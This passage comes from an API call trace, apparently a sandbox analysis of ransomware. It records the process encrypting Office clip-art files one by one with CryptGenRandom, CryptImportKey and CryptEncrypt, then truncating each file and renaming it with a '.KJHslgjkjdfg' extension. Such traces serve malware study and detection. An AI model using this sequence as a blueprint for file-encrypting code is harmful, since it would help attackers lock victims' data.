pdwDataLen=0x29df258*=0x40) returned 1 [0186.629] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.629] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.634] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.634] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.634] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.634] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6a0, lpOverlapped=0x0) returned 1 [0186.634] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6a0) returned 1 [0186.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.634] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6a0, lpOverlapped=0x0) returned 1 [0186.634] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.634] SetEndOfFile (hFile=0x130) returned 1 [0186.636] GetProcessHeap () returned 0x990000 [0186.636] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.636] GetProcessHeap () returned 0x990000 [0186.637] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.kjhslgjkjdfg")) returned 1 [0186.640] CloseHandle (hObject=0x130) returned 1 [0186.640] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0186.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.643] GetProcessHeap () returned 0x990000 [0186.643] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.643] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.643] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.643] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.656] GetProcessHeap () returned 0x990000 [0186.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.656] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.656] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.657] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.657] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.657] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.657] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.657] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.657] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.657] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5ec, lpOverlapped=0x0) returned 1 [0186.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f0) returned 1 [0186.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.657] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5f0, lpOverlapped=0x0) returned 1 [0186.658] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.658] SetEndOfFile (hFile=0x130) returned 1 [0186.660] GetProcessHeap () returned 0x990000 [0186.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.660] GetProcessHeap () returned 0x990000 [0186.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.kjhslgjkjdfg")) returned 1 [0186.661] CloseHandle (hObject=0x130) returned 1 [0186.664] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0186.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.664] GetProcessHeap () returned 0x990000 [0186.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.664] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0186.689] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.689] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.689] GetProcessHeap () returned 0x990000 [0186.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.689] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.689] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.690] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.690] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.690] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.690] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.690] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.690] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf92, lpOverlapped=0x0) returned 1 [0186.690] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xfa0) returned 1 [0186.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.691] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xfa0, lpOverlapped=0x0) returned 1 [0186.691] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.691] SetEndOfFile (hFile=0x130) returned 1 [0186.693] GetProcessHeap () returned 0x990000 [0186.693] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.693] GetProcessHeap () returned 0x990000 [0186.693] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.kjhslgjkjdfg")) returned 1 [0186.700] CloseHandle (hObject=0x130) returned 1 [0186.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0186.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.713] GetProcessHeap () returned 0x990000 [0186.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.713] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.713] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0186.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.717] GetProcessHeap () returned 0x990000 [0186.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.717] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.717] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.717] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.717] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f86, lpOverlapped=0x0) returned 1 [0186.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f90) returned 1 [0186.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.720] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f90, lpOverlapped=0x0) returned 1 [0186.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.720] SetEndOfFile (hFile=0x130) returned 1 [0186.723] GetProcessHeap () returned 0x990000 [0186.723] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0186.723] GetProcessHeap () returned 0x990000 [0186.723] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0186.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.kjhslgjkjdfg")) returned 1 [0186.724] CloseHandle (hObject=0x130) returned 1 [0186.728] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0186.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0186.728] GetProcessHeap () returned 0x990000 [0186.728] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0186.728] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0186.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0186.729] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.731] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0186.731] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0186.731] GetProcessHeap () returned 0x990000 [0186.731] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0186.731] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0186.731] CryptDestroyKey (hKey=0x9b6628) returned 1 [0186.731] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0186.731] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0186.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0186.732] CryptImportKey (in: 